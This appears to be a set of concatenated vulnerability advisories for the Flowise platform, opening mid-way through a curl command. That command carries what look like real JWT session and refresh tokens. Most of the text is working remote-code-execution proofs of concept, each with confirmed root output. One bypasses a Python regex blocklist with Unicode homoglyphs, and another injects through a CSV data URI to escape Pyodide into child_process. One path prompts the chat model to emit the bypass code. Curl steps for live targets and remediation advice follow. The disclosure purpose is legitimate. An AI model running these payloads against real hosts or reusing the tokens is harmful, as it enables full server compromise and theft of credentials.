token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjJlNGUwYTI4LTNkMWEtNDc0Ny05NmYzLWI1YzE1YTA1NDg4YyIsInVzZXJuYW1lIjoiVHJ1b25nIE5ndXllbiIsIm1ldGEiOiJhYjFiNzVjZTNmZmMyMzAzMTMwMmYwOGQ2MzU2YjQ3NjoxMTUzNzk3NDU1YTRhMmVhMDc3YWM0ODExNmRjMjhiOTNmZDlmMzg0OTAxZjhlNDliZTk2NjczMGM3N2YyZTc0ZjVkODNkYTJjMjNlOWZjNWM5ZDdmYzQ1ZDY2MmM0NWQwZWQ3MTMzYmZiZTA1MTAxZGRjNjY4OGYxZTJiNDZjNWU2YjU5OTdjMmE3OWVjNjc2MWU5NDZhYTkyNjg3MDY4IiwiaWF0IjoxNzczNzEzNTk0LCJuYmYiOjE3NzM3MTM1OTQsImV4cCI6MTc3MzczNTE5NCwiYXVkIjoiQVVESUVOQ0UiLCJpc3MiOiJJU1NVRVIifQ.UDFurQPA6-bKQ7mZg0Qetu6yAv1UK3vaz27ZUhUoamc; refreshToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjJlNGUwYTI4LTNkMWEtNDc0Ny05NmYzLWI1YzE1YTA1NDg4YyIsInVzZXJuYW1lIjoiVHJ1b25nIE5ndXllbiIsIm1ldGEiOiJhNmU2MjJjNmFiMWU1MWEwYzcwNmViOWVkODA2MDFmZjpjYjIyN2ZhMjA4ZDIwYjk0NjAxMjFlNDhkZTZjZDg4Yzk0NmMwNzBjZjhhMGYwNDBlNzEzOTkzOTkyMzNmZWQ3ZWViNjk0ZmE3NGY4MGJkOTA1ZjZkM2I2Y2FlYmI5YmRjMWQ3YTgxZjMxNzBkYjI5MDJlMGYzNmZiN2I0ZDc2YWRkNjkzZmI5YWE5OGNjYjc1ZWI0OGVmMjBjMWNjNmU4IiwiaWF0IjoxNzczNjMzMDA0LCJuYmYiOjE3NzM2MzMwMDQsImV4cCI6MTc3NjIyNTAwNCwiYXVkIjoiQVVESUVOQ0UiLCJpc3MiOiJJU1NVRVIifQ.0HlslRzoFo0Tlt4Jbn9gnEwsQej4ilMd8qjhLBZQO5Q; cfbm=.BG97WtFqwwk0DMVJB1BlcHRdhQv70bLu4fQpH5qo4-1773721030-1.0.1.1-IwhUPW6O9uNcNsOZl7LLgpnm8ll18rzoOFu085wZQQgTvVvaPwVFJObxSJ1.NRyS5MWsRbJi1BhUNMTJjSR2s9EyuSBzn2seXblq8rTh8' --compressed -sS -o resp.json 2. Verify the response size (expected: very large, e.g., >100MB) ls -lh resp.json
Impact - Vulnerability type: Information Disclosure / Broken Access Control (missing authorization and/or missing tenant/workspace scoping) - Who is impacted: All users/tenants/workspaces whose upsert history and configuration data are included in the server-wide history - Security consequences: - Exposure of infrastructure/integration details (e.g., Qdrant endpoint URLs, collection names, vector dimensions), enabling reconnaissance and targeted follow-up attacks - Leakage of internal schema/pipeline details (e.g., content/metadata keys) - Potential resource abuse: repeated downloads of a >100MB response can increase bandwidth/CPU/memory load (amplifying DoS risk)
Summary
These endpoints accept a client-controlled credential parameter. The server loads credentials by id and uses them directly, without checking whether that credential belongs to the caller’s workspace. If an attacker knows another workspace’s credentialId, they can use that workspace’s OpenAI key.
Details
Route permissions (assistants:) only check feature access. They do not check credential ownership. The controller passes req.query.credential straight to the service. The service does findOneBy({ id: credentialId }), decrypts the credential, and calls OpenAI APIs. There is no workspaceId check in this flow, so this is an IDOR.
Impact
- Cross-workspace unauthorized use of stored OpenAI keys. - Unauthorized read/modify/delete of victim vector stores and files. - Direct billing impact on victim OpenAI account. - Multi-tenant boundary violation with practical exploitability.
Reproduction steps
1. Set up two workspaces: A (attacker) and B (victim), each with an OpenAI credential. 2. Log in as a user in workspace A (with assistants-related permissions). 3. Call /api/v1/openai-assistants-vector-store and set credential to B’s credential ID. 4. Example: GET /api/v1/openai-assistants-vector-store?credential=<BcredentialId>. 5. If responses/actions are executed using B’s credential context, the issue is confirmed.
Finding — Unauthorized Workspace Variables disclosure via $vars injection (bypasses variables:view)
### What’s wrong (code locations)
- Variables for the active workspace are fetched without checking “variables:view” at this call site: flowise-src/ packages/components/src/utils.ts:932 - Runtime variables are resolved from server environment variables: flowise-src/packages/components/src/utils.ts:976 - $vars is always injected into the code execution sandbox: flowise-src/packages/components/src/utils.ts:1782 - The official Variables API is permission-protected (contrast): flowise-src/packages/server/src/routes/variables/ index.ts:11
### Why it is a privilege boundary bypass
A user/API key might be denied variables:view (and the /api/v1/variables route enforces it), but they can still:
- call /api/v1/node-custom-function (Finding 1) - and have $vars pre-populated with all variables for the workspace, including runtime values from process.env
### What data is exposed
Inside the custom JS context, $vars contains a flat map of:
- Variable.name -> Variable.value for static variables, and - Variable.name -> process.env[Variable.name] for runtime variables (type === 'runtime')
This can expose secrets such as database passwords, JWT secrets, SMTP passwords, cloud keys, etc., depending on what the workspace Variables are configured to map.
### Recommended fix (minimum)
- Do not inject $vars unless the caller is authorized: - enforce variables:view before injecting $vars, or - inject only an explicit allowlist of variables needed for the function - Consider disabling or heavily restricting type=runtime variables in self-hosted environments (or restrict which env keys may be mapped).
Summary The validatePythonCodeForDataFrame blacklist in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide's js module interop. This reopens the RCE paths patched as GHSA-3hjv-c53m-58jj (CSV Agent) and GHSA-v38x-c887-992f (Airtable Agent).
Details packages/components/src/pythonCodeValidator.ts gates every call to pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts (lines 147, 198) and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts (line 186). The gate is a regex blacklist:
ts { pattern: /\bimport\b/g, ... }, { pattern: /\bclass\b/g, ... }, { pattern: /\bsubclasses\s\(/g, ... }, { pattern: /\bbuiltins\b/g, ... }, { pattern: /\bmro\b/g, ... }, // ... about 30 similar rules
Two design flaws combine into a bypass:
1. JavaScript regex \b is ASCII-only. Word boundaries are computed against the ASCII word class [A-Za-z0-9]. A Unicode letter such as U+1D41A (mathematical bold small a) is treated as a non-word character, so \bclass\b never matches cl𝐚ss. 2. Python 3 (PEP 3131) NFKC-normalizes every identifier at parse time. cl𝐚ss, subcl𝐚sses, b𝐚se, b𝐮iltins, and similar homoglyph forms are all parsed as their ASCII equivalents.
Attribute access obj.cl𝐚ss is normalized because attribute names are identifiers. Dict string keys such as bi['import'] are not normalized, but they are free text and can be assembled with chr() to avoid literal matches on patterns like \bimport\b or \bimport\s\(/.
From inside Pyodide, builtins'import' yields the JS host bridge. In the Node.js host that runs Flowise, that bridge exposes process.mainModule.require('childprocess').execSync, which runs native commands on the host with the privileges of the Flowise process.
Affected call sites: - packages/components/nodes/agents/CSVAgent/CSVAgent.ts:147 validates customReadCSV (node-config-controlled, interpolated into the read-CSV script on line 167) and 198 validates the LLM-generated pythonCode before it reaches pyodide.runPythonAsync(code) on line 209. - packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts:186 validates the LLM-generated pythonCode before pyodide.runPythonAsync on line 197.
The original patches for GHSA-3hjv-c53m-58jj (commit a24acac, PR #5701) and a24acac's follow-up (commit 0c8236a, PR #5836) rely entirely on this validator. Because the validator is bypassable, both advisories are effectively reintroduced in 3.1.2.
PoC Standalone reproduction that mirrors the exact code paths in CSVAgent.ts / AirtableAgent.ts. It feeds a malicious pythonCode to the real validator, confirms the validator returns valid: true, then runs the same string through Pyodide and prints the output of a native command executed on the host:
js // npm install pyodide const { loadPyodide } = require('pyodide')
const FORBIDDENPATTERNS = [ { pattern: /\bfrom\s+\S+\s+import\b/g }, { pattern: /\bimport\b/g }, { pattern: /\beval\s\(/g }, { pattern: /\bexec\s\(/g }, { pattern: /\bcompile\s\(/g }, { pattern: /\bimport\s\(/g }, { pattern: /\bopen\s\(/g }, { pattern: /\bgetattr\s\(/g }, { pattern: /\bos\./g }, { pattern: /\bsubprocess\./g }, { pattern: /\bsys\./g }, { pattern: /\bsocket\./g }, { pattern: /\burllib\./g }, { pattern: /\brequests\./g }, { pattern: /\bbuiltins\b/g }, { pattern: /\bclass\b/g }, { pattern: /\bsubclasses\s\(/g }, { pattern: /\bbases\b/g }, { pattern: /\bmro\b/g }, { pattern: /\bglobals\b/g }, { pattern: /\bcode\b/g }, { pattern: /\bdict\b/g }, ] const validate = (code) => FORBIDDENPATTERNS.every(p => { p.pattern.lastIndex = 0; return !p.pattern.test(code) })
const payload = cls = ().cl\u{1D41A}ss base = cls.b\u{1D41A}se subs = base.subcl\u{1D41A}sses() for c in subs: if c.name == 'catchwarnings': cw = c() bi = cw.module.b\u{1D42E}iltins impname = chr(95)2 + 'imp' + 'ort' + chr(95)2 imp = bi[impname] jsmod = imp(chr(106)+chr(115)) cpname = 'child' + chr(95) + 'process' cp = jsmod.process.mainModule.require(cpname) opts = jsmod.Object.new(); opts.encoding = 'utf8' result = cp.execSync('id && hostname && echo FLOWISERCECONFIRMED', opts) break str(result)
;(async () => { console.log('validator passes:', validate(payload)) // true const py = await loadPyodide() console.log(await py.runPythonAsync(payload)) })()
Run output on a stock host:
validator passes: true uid=0(root) gid=0(root) groups=0(root) <hostname> FLOWISERCECONFIRMED
Live path against a Flowise deployment: 1. Workspace user (or any user able to reach a public CSV Agent chatflow) opens a chatflow containing CSVAgent or AirtableAgent. 2. For the LLM-generated path: send a chat message via POST /api/v1/prediction/{chatflowId} that instructs the model to answer in Python using mathematical bold letters for class, subclasses, base, and builtins, following the structure above. The model's output is regex-validated (passes), then executed by Pyodide, giving RCE on the host. 3. For the direct path: a workspace user with chatflow edit rights sets customReadCSV to the payload above. Every subsequent prediction hits CSVAgent.ts:171 and runs the attacker-controlled code on the host.
Impact Any user able to reach a chatflow that uses CSVAgent or AirtableAgent, including unauthenticated users on public chatflows, can run arbitrary OS commands as the Flowise process on the host. That yields read/write access to every credential and file the Flowise process can reach, pivot into the internal network, and full compromise of multi-tenant workspaces that share the same server. The prior advisories GHSA-3hjv-c53m-58jj and GHSA-v38x-c887-992f were scored 9.8 critical for the same reachable sink; this finding restores that impact in version 3.1.2.
Summary Flowise's CSVAgent interpolates an attacker-controlled segment of the csvFile data URI directly into a Python source-code template that is then executed by Pyodide. Because Pyodide is loaded with the default js bridge to globalThis (which on Node.js exposes eval and dynamic import()), the attacker can break out of the Python string literal, hand a JS string to js.eval, dynamically import any Node built-in module (fs, childprocess, …), and execute arbitrary file I/O or OS commands as the Flowise process. The two validator paths around this code (validatePythonCodeForDataFrame and validateCustomReadCSVFunction) are never applied to the bootstrap template.
A workspace user with chatflows:create (or any agentflows/chatflows update permission) plants a CSV Agent node with a crafted csvFile. Once the chatflow is exposed via the (whitelisted, public) POST /api/v1/prediction/:id endpoint, any unauthenticated request triggers the host RCE.
Details
Vulnerable file: packages/components/nodes/agents/CSVAgent/CSVAgent.ts
The run() method extracts the file segment from the data URI by splitting on , and using two pop() calls (lines 127–138):
ts } else { if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) { files = JSON.parse(csvFileBase64) } else { files = [csvFileBase64] }
for (const file of files) { if (!file) continue const splitDataURI = file.split(',') splitDataURI.pop() // discards trailing filename segment base64String += splitDataURI.pop() ?? '' // captures the segment we attack } }
The captured base64String is then interpolated verbatim into a Python source string at lines 156–171:
ts const code = import pandas as pd import base64 from io import StringIO import json
base64string = "${base64String}" // ← line 161: interpolation sink
decodeddata = base64.b64decode(base64string) csvdata = StringIO(decodeddata.decode('utf-8'))
df = pd.${customReadCSVFunc} mydict = df.dtypes.astype(str).todict() print(mydict) json.dumps(mydict) dataframeColDict = await pyodide.runPythonAsync(code) // ← line 171: sink
Validator gaps:
- validateCustomReadCSVFunction(customReadCSVFunc) runs on line 147, but this only validates the customReadCSV field, not base64String. - validatePythonCodeForDataFrame(pythonCode) runs on line 198, but only against the LLM-emitted Python that runs later — never against this bootstrap template. - No content check (^[A-Za-z0-9+/=]$) is applied to base64String before interpolation.
Pyodide configuration (packages/components/nodes/agents/CSVAgent/core.ts, lines 7–16):
ts export async function LoadPyodide(): Promise<PyodideInterface> { if (pyodideInstance === undefined) { const { loadPyodide } = await import('pyodide') const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') } pyodideInstance = await loadPyodide(obj) await pyodideInstance.loadPackage(['pandas', 'numpy']) } return pyodideInstance }
Pyodide is loaded with default options. On Node.js, the default js module inside Pyodide bridges to globalThis, exposing the JS eval function and top-level dynamic import(). From injected Python, the attacker runs:
python import js await js.eval( "(async () => {" " const fs = await import('fs');" " fs.writeFileSync('proof.txt', 'pwned');" "})()" )
…which executes in the host Node.js process, not inside Pyodide's WASM sandbox. Substituting await import('childprocess') for await import('fs') yields arbitrary OS-command execution via cp.execSync(...) with the same primitive.
Node-version note. The original PoC for this issue used js.process.mainModule.require("childprocess"), which is a one-liner but only works on Node ≤ 13 because process.mainModule was deprecated and now returns undefined on Node 14+. The js.eval + dynamic-import() form above works on any Node 13.2+ in both CommonJS and ESM contexts, and was confirmed end-to-end against a stock flowise@3.1.2 running on Node 20.20.2 — see Verified end-to-end against live Flowise below.
Trigger path (post-plant): the route POST /api/v1/prediction/:id is in WHITELISTURLS (packages/server/src/utils/constants.ts:12); when the chatflow has no apikeyid set, it is reachable unauthenticated. A prediction request runs the chatflow, instantiates CSVAgent, and executes the malicious bootstrap.
PoC
Verified end-to-end on the cloned repo (commit a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d, the same commit the prior audit was based on).
Reproducer setup
Two files. Save the first as package.json, the second as reproa1pyodide.js, then npm install && node reproa1pyodide.js in the same directory.
package.json:
json { "name": "poc-flowise-s1", "version": "1.0.0", "type": "commonjs", "dependencies": { "pyodide": "^0.29.3" } }
reproa1pyodide.js — mirrors CSVAgent.ts:127-138 (the data-URI parser) and :156-171 (the Python template), then runs the assembled Python through real Pyodide. The injection segment is checked for commas before assembly to confirm it cannot be fragmented by the JS-side split(',').
js // Full host-RCE PoC for Flowise CSVAgent base64-injection. // // Loads real pyodide (matching how core.ts:LoadPyodide() boots it) and runs // the Python that CSVAgent.ts:156-170 would assemble for an attacker-controlled // csvFile data URI. Demonstrates: // 1. JS-side template-literal interpolation produces malicious Python // 2. validatePythonCodeForDataFrame is bypassed (it never inspects this code path) // 3. Pyodide-on-Node js bridge reaches Node's fs module via dynamic // import('fs') -> host file write // // CONSTRAINTS: // csvFile is split on , by the agent (CSVAgent.ts:135-137) — segment[2] // of the data URI is what becomes base64string, so this segment must // contain NO raw , bytes. // Inside a Python double-quoted string literal, , is the escape // for ,. The data-URI parser sees the 6 raw bytes \, u, 0, 0, // 2, c (no commas), but Python's lexer turns them into commas at // runtime — letting us pass multiple arguments to JS functions inside // the Python source. // // NODE-VERSION NOTE: an earlier revision of this PoC used // cp = js.process.mainModule.require("childprocess"); cp.execSync(...) // which is shorter but only works on Node ≤ 13 — process.mainModule was // deprecated and now returns undefined on Node 14+, so the inner // .require(...) silently no-ops. The js.eval + dynamic-import() form // below works on any Node 13.2+ in both CommonJS and ESM contexts and was // confirmed end-to-end against flowise@3.1.2 running on Node 20.20.2.
const fs = require('fs') const path = require('path') const { loadPyodide } = require('pyodide')
const proofName = 'flowisea1pyodideproof.txt' const proofPath = path.resolve(dirname, proofName) const proofMarker = 'FLOWISEA1HOSTRCEviapyodidedynamicimport'
// --- Attacker payload (Python; comma-free) ---------------------------------- // Closes the base64string = " literal with ";, runs malicious Python, // then # comments out the surviving closing " so the rest of the // bootstrap template still parses. const pythonInjection = '";\n' + 'import js\n' + await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('${proofName}'\\u002c '${proofMarker}'); })()")\n + '#'
// Sanity: any commas would fragment the injection on the JS side. if (pythonInjection.includes(',')) { throw new Error('PoC bug: injection segment contains a comma — would be split by csvFile.split(",")') }
const csvFile = data:text/csv;base64,A,${pythonInjection},IGNORED
// --- JS side: mirror CSVAgent.ts:127-138 ------------------------------------ const csvFileBase64 = csvFile const files = csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']') ? JSON.parse(csvFileBase64) : [csvFileBase64] let base64String = '' for (const file of files) { if (!file) continue const splitDataURI = file.split(',') splitDataURI.pop() base64String += splitDataURI.pop() ?? '' }
// --- JS side: mirror CSVAgent.ts:156-170 (pandas import omitted) ------------ // We omit import pandas as pd so we don't need to load pandas (~30 MB) just // to demonstrate the injection. The real flow's pyodide instance preloads // pandas via LoadPyodide() (core.ts:12). The injection point and validator // bypass are identical either way. const code = import base64 from io import StringIO import json
base64string = "${base64String}"
decodeddata = base64.b64decode(base64string) csvdata = StringIO(decodeddata.decode('utf-8')) print("post-injection bootstrap continued; base64string =", repr(base64string))
console.log('--- Assembled Python (passed verbatim to pyodide.runPythonAsync) ---') console.log(code) console.log('--- end ---\n')
;(async () => { try { fs.unlinkSync(proofPath) } catch {}
console.log('[] Loading pyodide...') const pyodide = await loadPyodide() console.log('[] Pyodide loaded; running attacker-assembled Python...\n')
try { await pyodide.runPythonAsync(code) } catch (e) { console.log('[!] runPythonAsync threw (the bootstrap may fail AFTER the injection has executed):') console.log(String(e).split('\n').slice(0, 8).join('\n')) }
// give the spawned writeFileSync a moment to flush await new Promise((r) => setTimeout(r, 500))
console.log('\n--- Proof file at ' + proofPath + ' ---') if (fs.existsSync(proofPath)) { console.log(fs.readFileSync(proofPath, 'utf-8').trim()) console.log('\n[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.') } else { console.log('[-] Proof file not present.') } })()
What gets assembled
After the two pop() calls in CSVAgent.ts:135-137 extract the third comma-separated segment, the Python text passed to pyodide.runPythonAsync becomes (note that Python's lexer resolves the , escapes inside the string literal back to commas, so the JS code actually receives fs.writeFileSync('proof', 'marker')):
python import base64 from io import StringIO import json
base64string = ""; import js await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('flowisea1pyodideproof.txt', 'FLOWISEA1HOSTRCEviapyodidedynamicimport'); })()") #"
decodeddata = base64.b64decode(base64string) csvdata = StringIO(decodeddata.decode('utf-8')) ...
The "; closes line 161's string literal; the injected statements execute (awaiting the JS Promise that writes the proof file); the trailing # comments out the dangling " so the rest of the bootstrap parses. The remaining b64decode("") returns b'' and pd.readcsv (in the live template) then raises pandas.errors.EmptyDataError, but the fs.writeFileSync(...) call has already fired in the Node host.
Observed output (after deleting any prior proof file)
[] Loading pyodide... [] Pyodide loaded; running attacker-assembled Python...
--- Proof file at .../flowisea1pyodideproof.txt --- FLOWISEA1HOSTRCEviapyodidedynamicimport
[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.
The proof file flowisea1pyodideproof.txt is written by the Node host process via the Pyodide js bridge → js.eval(...) → (await import('fs')).writeFileSync(...), confirming the escape from the Pyodide WASM sandbox. The standalone repro omits import pandas, so no post-injection exception is raised — but the live template (pandas.readcsv on the empty buffer) throws pandas.errors.EmptyDataError after the host write has already happened, which is exactly the symptom an operator sees in the chat panel.
Verified end-to-end against live Flowise
The standalone repro above proves the validator-bypass + sandbox-escape primitive in isolation. The same payload was additionally verified against a stock flowise@3.1.2 install on Node 20.20.2:
| Step | Action | |---|---| | 1 | npm install -g flowise (Node 20.20.2, Linux x64) | | 2 | flowise start → bind on :3000 | | 3 | UI: create admin + dummy OpenAI credential (any string for the API key — never validated; the exploit fires before the LLM is invoked) | | 4 | Plant the attached evil-csvagent-flow.json in the chatflows DB (UI import or POST /api/v1/chatflows) | | 5 | Open the chatflow → click chat → send any message | | 6 | Chat panel shows pandas.errors.EmptyDataError: No columns to parse from file | | 7 | /home/<user>/flowisea1proof.txt is now present, 46 bytes, content FLOWISEA1HOSTRCEviapyodidedynamicimport, owner-uid matches the Flowise process uid |
Reproduction artifacts (evil-csvagent-flow.json, build-flow-v2.js, test-flow.js, the captured evidence-bundle.txt) live at pocs/S1-csvagent-csvfile-rce/triage-response/. The chatflow JSON is built verbatim from Flowise's bundled marketplaces/chatflows/CSV Agent.json template with three minimal edits — the malicious csvFile data URI on csvAgent0, a placeholder credential on chatOpenAI0, and the sticky note removed — so it imports cleanly into any Flowise 3.x without the reactFlowNodeData.inputParams.find(...) 500 the maintainer initially saw when handed a hand-crafted minimal flow.
End-to-end against a live Flowise instance
The local PoC above proves the validator-bypass + sandbox-escape primitive. To reach the same primitive over HTTP against a deployed Flowise, two requests suffice:
bash Step 1 — authenticated chatflow author (any user with chatflows:create in OSS, this is typically every registered user) plants the flow. evil-csvagent-flow.json is a chatflow whose csvAgent node has inputs.csvFile = "data:text/csv;base64,A,<comma-free python payload>,IGNORED" curl -X POST https://target/api/v1/chatflows \ -H "Authorization: Bearer <api-key with chatflows:create>" \ -H "Content-Type: application/json" \ -d @evil-csvagent-flow.json → returns chatflow id, e.g. "<flow-uuid>"
Step 2 — anyone, no auth (the route is whitelisted at packages/server/src/utils/constants.ts:12) triggers execution: curl -X POST https://target/api/v1/prediction/<flow-uuid> \ -H "Content-Type: application/json" \ -d '{"question":"go"}'
Step 1 is the only authenticated step; Step 2 is unauthenticated when chatflow.apikeyid is unset (the default for newly created chatflows).
Impact
- Class: Remote Code Execution via Python-template injection escaping the Pyodide sandbox through the js bridge. - Affected: every Flowise deployment that exposes a chatflow containing a CSVAgent node where csvFile is operator-supplied (i.e., overridable via nodeOverrides for the API caller, or planted by any user with chatflow edit permission). - Prerequisites: one user with chatflows:create / chatflows:update / agentflows:create / agentflows:update to plant the chatflow once. The trigger is unauthenticated when the chatflow has no apikeyid set (the default for newly created chatflows). - Result: arbitrary OS-command execution as the Flowise process. Direct access to Flowise's encrypted-credentials key file, the entire database, the host filesystem, and any network resource the host can reach.
Metadata
- Affected versions: Confirmed at commit a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d (main, 2026-04-28) and at flowise@3.1.2. The vulnerable code (splitDataURI.pop() + template-string interpolation) appears unchanged across this range. Earlier 3.x versions with the same data-URI parsing pattern are also believed to be affected, but I did not verify each historical tag. - Fixed version: Unpatched at the audited commit. - CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H → Base score 9.9 (Critical). - AV:N — public /api/v1/prediction/:id trigger. - AC:L — deterministic; no race / timing. - PR:L — one user with chatflows:create (or equivalent) plants the chatflow. In OSS deployments, any registered user typically has this. - UI:N — no user interaction required at trigger time. - S:C — Pyodide's WASM/Python sandbox is the intended security authority for this code path; the js bridge escape and the validator bypass break out to the Node host process. - C:H / I:H / A:H — full host compromise. - CWE: CWE-94 (Improper Control of Generation of Code: 'Code Injection'); more specifically CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code: 'Eval Injection').
Remediation
Maintainer fix (preferred — eliminates string-interpolation entirely): pass the base64 value through Pyodide's globals.set API instead of template-string interpolation. In packages/components/nodes/agents/CSVAgent/CSVAgent.ts, replace the construction at lines 156–171 with something like:
ts const pyodide = await LoadPyodide() pyodide.globals.set('base64string', base64String) const code = import pandas as pd import base64 from io import StringIO import json
decodeddata = base64.b64decode(base64string)
csvdata = StringIO(decodeddata.decode('utf-8'))
df = pd.${customReadCSVFunc} mydict = df.dtypes.astype(str).todict() print(mydict) json.dumps(mydict) dataframeColDict = await pyodide.runPythonAsync(code)
This keeps the value as a Python str object that never enters the source text. Apply the same change to AirtableAgent.ts if it follows the same pattern.
Defense in depth (recommended as well): 1. Validate base64String against ^[A-Za-z0-9+/=]$ before interpolation (rejects every escape character used in the PoC). 2. Disable Pyodide's js module on load. Pyodide supports loadPyodide({ jsglobals: {} }) or the js-module-removal recipe; either prevents the bridge to globalThis.process on Node.js. Apply in packages/components/nodes/agents/CSVAgent/core.ts:LoadPyodide. 3. Run validatePythonCodeForDataFrame (or a stricter equivalent) over the bootstrap template, not only over the LLM-emitted code. The current ordering inverts the trust assumption. 4. Add a positive allow-list to validateCustomReadCSVFunction enumerating only safe pandas readers (e.g., readcsv and column-typed forms); exclude readpickle, readhtml, readxml, readparquet, readorc, readfeather, readjson (these are independently exploitable — see S2/S3 in the submission roadmap).
User mitigations until a patch ships: - Set chatflow.apikeyid on every chatflow that uses CSVAgent so validateFlowAPIKey enforces auth on /api/v1/prediction/:id. - Set chatbotConfig.allowedOrigins to a strict list (note: this only defends against browser callers, not curl/server-side). - Restrict chatflows:create / agentflows:create permissions to trusted users only. - Where possible, strip csvFile from the nodeOverrides allow-list on affected chatflows so it cannot be supplied at prediction time.